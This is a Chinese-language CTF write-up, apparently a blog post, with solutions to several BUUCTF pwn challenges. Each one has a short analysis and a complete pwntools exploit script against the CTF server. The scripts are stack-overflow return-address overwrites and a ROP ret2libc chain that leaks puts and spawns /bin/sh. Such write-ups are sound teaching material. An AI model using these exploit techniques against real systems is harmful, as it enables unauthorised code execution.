buuctf pwn wp---part1
pwn难啊
1、test_your_nc
测试你nc,不用说,连上就有。
2、rip
ida中已经包含了system函数:


溢出,覆盖rip为fun函数,peda计算偏移为23:
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',27146)
#p = process('./pwn1')
flag_addr = 0x40118A
payload = 0xf*'a' +'a'*8 + p64(flag_addr)
#print p.recv()
p.sendline(payload)
p.interactive()
3、warmup_csaw_2016
ida中,可以看到,存在溢出



使用peda计算偏移为72

from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',29050)
#p = process('./warmup_csaw_2016')
catflag_addr = 0x40060d
payload = 'A'*72 + p64(catflag_addr)
#print p.recv()
p.sendline(payload)
p.interactive()
exp
4、pwn1_sctf_2016
先check一下文件

文件开启了NX。使用ida查看:

程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”
在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。
输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',29641)
#p = process('./pwn1_sctf_2016')
#p = remote('xxxxx',xxxx)
catflag_addr = 0x8048f0d
payload = 21*'I' +'A'+ p32(catflag_addr)
#print p.recvuntil('yourself:')
p.sendline(payload)
p.interactive()
exp
5、ciscn_2019_c_1
先check一下,开启了Nx和Relro

ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc

在encrypt()函数中发现gets函数,这个是一个溢出点

可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)
注意encryt()函数会修改我们的payload,所以第一位用'\0'避开。
偏移为:0x50+8
1 #!python
2 #coding:utf-8
3
4 from pwn import *
5 from LibcSearcher import *
6
7 context.log_level = 'debug'
8 context.arch = 'amd64'
9
10 elf = ELF('./ciscn_2019_c_1')
11 puts_got = elf.got['puts']
12 puts_plt = elf.plt['puts']
13 main_addr = elf.sym['main']
14 ret = 0x4006b9
15 pop_rdi = 0x400c83
16 sh = 0
17 lib = 0
18
19
20 def main(ip,port,debug):
21 global sh
22 global lib
23 if debug == 1:
24 sh = process('./ciscn_2019_c_1')
25 else:
26 sh = remote(ip,port)
27
28 sh.sendlineafter('choice!\n','1')
29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
30 sh.sendlineafter('encrypted\n',payload)
31 sh.recvline()
32 sh.recvline()
33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
34 libc = LibcSearcher('puts',puts)
35 libcbase = puts - libc.dump('puts')
36 binsh = libcbase + libc.dump('str_bin_sh')
37 sys_addr = libcbase + libc.dump('system')
38 sh.sendlineafter('choice!\n','1')
39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
40 sh.sendlineafter('encrypted\n',payload2)
41 sh.interactive()
42
43 if __name__ == '__main__':
44
45 main('node3.buuoj.cn',27020,0)
exp
6、ciscn_2019_n_1
先check一下,开启了NX和RELRO

查看字符串,能看到,或许是和flag相关

可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag


通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
p = remote('node3.buuoj.cn',26929)
#p = ('./ciscn_2019_n_1')
v2_addr = 0x41348000
payload = 0x2c*'a' + p64(v2_addr)
print p.recv()
p.sendline(payload)
p.interactive()
exp
7、ciscn_2019_en_2
同上5
待续。。。。
buuctf pwn wp---part1的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- buuctf misc wp 01
buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...
- buuctf misc wp 02
buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap
[V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...
- [BUUCTF]PWN——babyfengshui_33c3_2016
babyfengshui_33c3_2016 附件 步骤: 例行检查,32位程序,开启了cannary和nx 本地运行一下看看大概的情况,熟悉的堆的菜单布局 32位ida载入,看main函数 add ...
- [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)
roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...
- [BUUCTF]PWN——[ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...
随机推荐
- 11_MySQL如何让数据分页显示
-- 数据分页 SELECT empno,sal FROM t_emp LIMIT 5;
- FTPClient类的API
org.apache.commons.NET.ftp Class FTPClient类FTPClient java.lang.Object java.lang.Object继承 org.apache. ...
- Python和JavaScript在使用上有什么区别?
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文出处:https://www.freecodecamp.org/news/python-vs-javas ...
- 授权认证登录之 Cookie、Session、Token、JWT 详解
一.先了解几个基础概念 什么是认证(Authentication) 通俗地讲就是验证当前用户的身份. 互联网中的认证: 用户名密码登录 邮箱发送登录链接 手机号接收验证码 只要你能收到邮箱/验证码,就 ...
- 音视频+ffmpeg
雷霄骅:https://me.csdn.net/leixiaohua1020 致敬! 1.[总结]视音频编解码技术零基础学习方法 https://blog.csdn.net/leixiaohua102 ...
- SpringBoot(三):SpringBoot热部署插件
SpringBoot热部署插件 在实际开发中,我们修改了某些代码逻辑功能或页面都需要重启应用,这无形中降低了开发效率!热部署是指当我们修改代码后,服务能自动启动加载新修改的内容,这样大大提高了我们开发 ...
- DCL之单例模式
所谓的DCL 就是 Double Check Lock,即双重锁定检查,在了解DCL在单例模式中如何应用之前,我们先了解一下单例模式.单例模式通常分为"饿汉"和"懒汉&q ...
- Docker镜像构建原理解析(不装docker也能构建镜像)
在devops流程里面 构建镜像是一个非常重要的过程,一般构建镜像是写dockerfile文件然后通过docker client来构建的image. docker client 会先检查本地有没有im ...
- linux 几种传输文件的方式
SimpleHTTPServer + wget 如果线上可以直连线下的话,在线上使用wget访问线下的文件服务器: web的方法,比较灵活,使用完要尽快关闭这个服务: cd temp temp$ py ...
- zabbix 面板graph图上没有数据显示
1. 问题: zabbix_server日志出现大量如下错误: query failed: [1526] Table has no partition for value 1507509984 2. ...